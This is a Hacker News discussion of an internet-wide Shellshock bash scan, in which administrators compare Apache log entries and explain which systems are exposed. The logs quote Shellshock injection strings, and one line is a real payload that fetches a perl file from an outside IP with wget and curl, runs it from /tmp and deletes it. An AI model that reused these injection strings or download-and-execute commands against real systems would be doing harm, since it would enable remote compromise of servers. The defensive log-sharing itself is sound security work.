
Bash 'shellshock' scan of the Internet - agwa
http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html
======
agwa
I've been monitoring my Apache logs all day for the string "() {". So far
Robert Graham's scan is the only match. This is what the log entry looks like:

    
    
      209.126.230.72 - - [24/Sep/2014:22:07:56 +0000] "GET / HTTP/1.0" 403 492 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

~~~
gojomo
Someone not wanting to stick out might only probe headers that are less-often
logged, but still possibly passed-along as environment variables. Has anyone
logged 'HTTP_FROM' in a long while?

~~~
jackalope
The shellshock scan is setting the Host header, which might set the
SERVER_NAME CGI variable in some environments and is not included in the
Common Log Format or widely used Combined Log Format (which adds the Referer
and User-Agent). For example, Apache's httpd directive UseCanonicalName is set
to "off" by default, allowing the client to set SERVER_NAME via the Host
header, possibly passing it to vulnerable scripts.

Furthermore, an admin might use directives to log the requested host in a
name-based virtual hosting environment to facilitate parsing. For example,
when using Apache's httpd LogFormat/CustomLog directives, if "%V" is used as
the format string and UseCanonicalName is set to "off", the string provided by
the client in the Host header will be written to the log. Naive parsers might
choke on this or even execute the code. If the shellshock scan results in a
delayed surge of pings from a single host, this is likely to be the cause.

------
gojomo
Now, just to repeat the scan with:

    
    
      Referer: () { :; }; sudo apt-get update && sudo apt-get install --only-upgrade bash
    

"Why, who was that masked sysadmin? We didn't even get the chance to thank
him."

~~~
gcr
Who would grant `sudo` privileges to `www-data` without asking for a password?
That's just _asking_ for a bad time.

~~~
dsl
The same people who write CGI applications in bash?

~~~
agwa
Your CGI application does not need to be written in bash for you to be
vulnerable. If at _any_ point your non-bash CGI program (and this includes
PHP, even with mod_php, since it sets the same environment variables), or one
of its descendant processes, executes a bash script, you can be exploited.

This is especially bad on systems where /bin/sh is /bin/bash, since /bin/sh
gets invoked implicitly by system(3). So you could have a non-bash CGI program
invoking a non-bash program using system(3) and you can be exploited.

~~~
peterhu
According to
[https://access.redhat.com/articles/1200223](https://access.redhat.com/articles/1200223),
mod_php is not vulnerable.

~~~
agwa
You're right; thanks! I saw the HTTP_* variables in phpinfo() and assumed
they'd be passed on to children through system(), but they actually aren't. In
fact the only environment variables passed through look pretty innocuous.

------
xnull2guest
Yikes, that redaction... even if it didn't miss digits that's a mighty small
search space.

Really interested to see where the bug crops up aside from CGI scripts.

------
thefreeman
Not saying I agree with it, but personally I would be worried about
prosecution from doing something like the scan he is doing.

~~~
nwh
Especially as it's actually executing code on other people's computers, you
can't even really say it's just observation at that point.

------
joeshaw
The DHCP attack vector is the one that is scariest to me. We know that
dhclient on Linux is vulnerable, but the number of unpatched Linux machines on
a public wifi network will likely be too small to be worthwhile to try to
capture. Macs on the other hand are prevalent in places like coffee shops, and
Apple is notoriously slow to patch security vulnerabilities in their operating
systems. Has anyone done much analysis on OS X's vulnerability to this bug?

~~~
rsmarples
dhcpcd-6.4.7 is not vulnerable to this issue as it sanitises variables before
calling the shell.

------
wcfields
I see you!

209.126.230.72 - - [24/Sep/2014:15:04:17 -0700] "GET / HTTP/1.0" 200 62 "() {
:; }; ping -c 11 216.75.60.74" "shellshock-scan
([http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-
in...](http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-
internet.html\)")

209.126.230.72 - - [24/Sep/2014:17:14:58 -0700] "GET / HTTP/1.0" 200 62 "() {
:; }; ping -c 11 209.126.230.74" "shellshock-scan
([http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-
in...](http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-
internet.html\)")

------
lcedp
Now I see him

    
    
        209.126.230.72 - - [25/Sep/2014:07:43:58 +0300] "GET / HTTP/1.0" 200 151 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
    

..and someone else

    
    
        89.207.135.125 - - [25/Sep/2014:12:51:01 +0300] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 168 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

~~~
piran
I just saw something from 89.207.135.125 -- no idea who that is.

~~~
boes
Saw that one two, seems its another guy doing a full scan

------
waynecochran
From Apache Log -- should I be worried -- bash _not_ patched on OS X box.
Anyone know what this does?

    
    
        "GET /cgi-bin/hi HTTP/1.0" 404 357 "-" "() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""

~~~
waynecochran
discussed at [http://www.solutionary.com/resource-
center/blog/2014/09/shel...](http://www.solutionary.com/resource-
center/blog/2014/09/shellshock-accelerating-the-standard-timeline/)

Bad news.

------
showsover
>Update: Someone is using masscan to deliver malware. They'll likely have
compromised most of the system I've found by tomorrow morning. If they using
different URLs and fix the Host field, they'll get tons more.

------
ilaksh
To be vulnerable to this I need to be running CGI scripts right? I have my
system set up with reverse nginx proxies and haproxy TCP mode pass through to
things like nginx static files and Node.js servers. Can he run his ping
command on my servers? I am thinking not.

~~~
nitrogen
No, CGI is just the most obvious use of user-controlled environment variables.
Other systems may also set environment variables to user-controlled strings
for whatever reason. If such a system ever invokes bash, even indirectly or
implicitly, with user-controlled environment variables set, that system is
vulnerable.

Example non-CGI vulnerable systems from RedHat: CUPS, dhclient.

~~~
ilaksh
Can someone from the internet use this type of attack through CUPS or dhclient
then? I was asking about external attacks, not users that are already on the
system.

~~~
nitrogen
_dhclient_ : sort of. If you connect to a malicious access point, or someone
runs a rogue DHCP server on a network you trust, they could potentially attack
dhclient.

 _CUPS_ : If you are exposing a CUPS server to the Internet to allow remote
printing.

~~~
ilaksh
OK so are those the only ones you know of? I am going to patch but just
wondering about this category of attack in a more general sense so want to
make sure I understand the scope of this particular one.

So say I have a server that is running a VPN (tinc). Then another system is
connected to that same VPN network. Are you saying that by running a DHCP
server on the second system, my server could be compromised?

~~~
nitrogen
It's impossible to enumerate all evil. There's no way of knowing what else is
vulnerable until it's demonstrated to be vulnerable. I've commented elsewhere,
though, describing what types of function calls and programs are likely to be
vulnerable.

------
jamil0125
m.facebook.com

